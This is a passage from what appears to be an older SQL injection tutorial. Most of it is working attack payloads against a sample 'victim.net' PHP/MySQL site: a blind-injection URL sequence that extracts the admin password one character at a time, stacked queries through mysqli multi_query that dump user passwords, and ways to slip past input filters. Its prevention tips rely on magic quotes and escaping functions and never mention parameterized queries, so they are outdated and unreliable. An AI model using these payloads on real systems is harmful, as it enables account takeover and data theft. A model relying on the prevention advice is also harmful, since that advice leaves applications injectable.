http://www.victim.net/CMS/view.php?id=1 AND USER()=omni@localhost’

and watch the reply sent on our browser. If in our FireFox (or whatever you want)
we will see the news with ID=1 we know that omni is the user used to connect to
the mysql deamon (because the query is true; and we found the true value to pass
to the query).
Let’s go deeper. What we can do with Blind SQL? Could be interesting to retrieve
the admin password. How to do that? First of all to understand better the
steps I’m going to explain we need to know some basic information.

Function used in MySQL:

– ASCII(str)
Returns the numeric value of the leftmost character of the string str.
Returns 0 if str is the empty string. Returns NULL if str is NULL. ASCII()
works for 8-bit characters.

mysql> select ascii(‘a’);
———–
| ascii(‘A’) |
———–
|         97 |
———–

mysql> select ascii(‘b’);
———–
| ascii(‘b’) |
———–
|         98 |
———–

– ORD(str)

If the leftmost character of the string str is a multi-byte character, returns
the code for that character, calculated from the numeric values of its constituent
bytes using this formula:

(1st byte code)
+ (2nd byte code x 256)
+ (3rd byte code x 2562) …

If the leftmost character is not a multi-byte character, ORD() returns the same value as
the ASCII() function.

– SUBSTRING(str,pos), SUBSTRING(str  FROM pos),
SUBSTRING(str,pos,len), SUBSTRING(str  FROM pos FOR len)

The forms without a len argument return a substring from string str starting at position pos.
The forms with a len argument return a substring len characters long from string str, starting
at position pos.
The forms that use FROM are standard SQL syntax. It is also possible to use a negative value
for pos. In this case, the beginning of the substring is pos characters from the end of the
string, rather than the beginning.
A negative value may be used for pos in any of the forms of this function.

– SUBSTR(str,pos), SUBSTR(str  FROM pos),
SUBSTR(str,pos,len), SUBSTR(str  FROM pos FOR len)

SUBSTR() is a synonym for SUBSTRING().

mysql> select substring(‘Blind SQL’, 1, 1);
—————————-
| substring(‘Blind SQL’, 1, 1) |
—————————-
| B                                  |
—————————-

mysql> select substring(‘Blind SQL’, 2, 1);
—————————-
| substring(‘Blind SQL’, 2, 1) |
—————————-
| l                                   |
—————————-

– LOWER(str)

Returns the string str with all characters changed to lowercase according to
the current character set mapping. The default is latin1 (cp1252 West European).

mysql> SELECT LOWER(‘SQL’);
—————-
| LOWER(‘SQL’) |
—————-
| sql               |
—————-

– UPPER(str)

Returns the string str with all characters changed to uppercase according to
the current character set mapping. The default is latin1 (cp1252 West European).

mysql> SELECT UPPER(‘sql’);
————–
| UPPER(‘sql’) |
————–
| SQL           |
————–

Now we have understood the principals MySQL functions that could be used while
trying to do a Blind SQL Injection attack. (consult MySQL reference manuals for others)

What we need again? Suppose that we know for a moment the admin password: “secret”.

mysql> select ascii(‘s’);
———–
| ascii(‘s’) |
———–
|        115|
———–

mysql> select ascii(‘e’);
———–
| ascii(‘e’) |
———–
|        101|
———–

mysql> select ascii(‘c’);
———–
| ascii(‘c’) |
———–
|         99 |
———–

mysql> select ascii(‘r’);
———–
| ascii(‘r’) |
———–
|        114|
———–

mysql> select ascii(‘t’);
———–
| ascii(‘t’) |
———–
|        116|
———–

It’s time to watch the source code:

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

[ … ]

$SQL = “select * from news where id=”.$_GET[‘id’].” LIMIT 1″;

$result = mysql_query($SQL);

if (!$result) {
die(‘Invalid query: ‘ . mysql_error());
}

[ … ]

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

Now, try to “exploit the bug” by requesting this URL:
http://www.victim.net/CMS/view.php?id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) = 115

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

WELCOME TO www.victim.net NEWS

Title:testing news

News:
what about SQL Injection?

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

The query is TRUE (we know that the first letter of the password is ‘s’) and therefore, the query will be:

SELECT * FROM news WHERE id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) = 115 LIMIT 1

What is the number 115? Read upon is the ascii value of the ‘s’. We retrieved the first character
of the password (by using some MySQL functions).

.:. (SELECT pwd FROM usr WHERE id=1) => SELECT the password of the user with ID=1 (admin)
.:. (SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1) => Get the first letter of the password (in this case ‘s’)
.:. ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) => Get the ASCII code of the first letter (115 in this case)

And how to retrieve the second letter of the password? Just carry out this query:

SELECT * FROM news WHERE id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),2,1)) = 101 LIMIT 1

by requesting this URL:
http://www.victim.net/CMS/view.php?id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),2,1)) = 101

The third character? And the others? Just make the same query with the right values.
Take in mind that you can also use the “greater then” (>) and “less then” (<) symbols
instead of the equal; to find the ASCII letter between a range of letters.
Eg.: between 100 and 116; and so on.
——————————————————————————-[/]

—[ 0x07: Double Query ]

Sometimes in some codes happends that a programmer use the MySQLi Class (MySQL Improved
Extension) that is an extension allows you to access to the functionality provided
by MySQL 4.1 and above.

I’ll explain a  very interesting bug that could be very dangerous for the
system. A not properly sanitized variable passed in the method called multi_query of
the mysqli class can be used to perform a “double” sql query injection.

mysqli_multi_query (PHP 5) is able to performs one or more queries on the
database selected. The queries executed are concatenated by a semicolon.

Look this example to know what I’m talking about:

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

<?php
$mysqli = new mysqli(“localhost”, “root”, “root”, “test”);

if (mysqli_connect_errno()) {
printf(“Connect failed: %s\n”, mysqli_connect_error());
exit();
}

$query  = “SELECT user FROM usr WHERE id =”. $_GET[‘id’].”;”;
$query .= “SELECT texts FROM news WHERE id =”. $_GET[‘id’];

echo ‘UserName: ‘;

if ($mysqli->multi_query($query)) {
do {
/* the first result set */
if ($result = $mysqli->store_result()) {
while ($row = $result->fetch_row()) {
echo ” – ” .$row[0]. “<br>” ;
}
$result->free();
}
/* print divider */
if ($mysqli->more_results()) {
echo “/-/-/-/-/-/-/-/-/-/-/-/-/-/<br>”;
}
} while ($mysqli->next_result());
}

/* close connection */
$mysqli->close();
?>

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

If a user request the follow URL:

http://www.victim.net/CMS/multiple.php?id=2

The browser reply with this information:

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

UserName: – ad
/-/-/-/-/-/-/-/-/-/-/-/-/-/
– could be bypassed easily?

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

But the source code is bugged. The $query variable is vulnerable because
a user can supply using the GET method, an evil id and can do multiple (evil) queries.

Trying with this request:

http://localhost/apache2-default/multiple1.php?id=2; SELECT pwd FROM usr/*

We will obtain the users passwords.

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

UserName: – ad
/-/-/-/-/-/-/-/-/-/-/-/-/-/
– secret
– adpwd
– test

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/
——————————————————————————-[/]

—[ 0x08: Filters Evasion ]

Web Application could implements some input filters that prevent an attacker from
exploiting certain flaws such as SQL Injection, LFI or whatever. Therefore an application
can use some mechanism that are able to sanitize, block or parse in some ways
user-supply data. This kind of filters could be bypassed by using differents methods,
here I wanna try to give to you some ideas; but certainly one filter differ from
an other one so, you have to try/find different methods to bypass it.

– Imagine that we have to bypass a login form; but the comment symbol is blocked,
we can bypass this issue but injecting this data ‘ OR ‘a’ = ‘a instead of ‘ OR 1 = 1 /*

– The filter try to prevent an SQL Injection by using this kind of Signature: ‘ or 1=1 (Case-insensitive).
An attacker can bypass this filter using ‘ OR ‘foobar’ = ‘foobar for example.

– Suppose that the application filter the keyword “admin”, to bypass this filter we have just
to use some MySQL functions such as CONCAT or CHAR for example:
union select * from usr where user = concat(‘adm’,’in’)/*
union select * from usr where user=char(97,100,109,105,110)/*

This is only a little part of “filter evasion techniques”. Different filters work
differently, I can’t stay on this topic forever; I just gave to you some ideas.
——————————————————————————-[/]

—[ 0x09: SQL Injection Prevention ]

How to prevent this type of attacks? Here below I just wanna write some
tips that you can use to make your web application more secure.

1.) The file php.ini located on our HD (/etc/php5/apache2/php.ini, /etc/apache2/php.ini,
and so on..) can help us with the magic quote functions. Other interesting functions can
be setted to On; take a look inside this file.

Magic quotes can be used to escape automatically with backslash the user-supply single-quote (‘),
double-quote (“), backslash (\) and NULL characters.
The 3 magic quotes directives are:

– magic_quotes_gpc, that affects HTTP request data such as GET, POST and COOKIE.
– magic_quotes_runtime, if enabled, most functions that return data from an external source, will have
quotes escaped with a backslash.
– magic_quotes_sybase, that escape the ‘ with ” instead of \’.

2.) deploy mod_security for example

3.) use functions such as addslashes() htmlspecialchars(), mysql_escape_string(), etc. to validate
every user inputs.

4.) For integer input validate it by casting the variable
——————————————————————————-[/]

—[ 0x10: Conclusion ]

Here we are, at the end of this paper. As said upon, I hope you enjoyed it and
for any questions please mail me.
——————————————————————————-[/]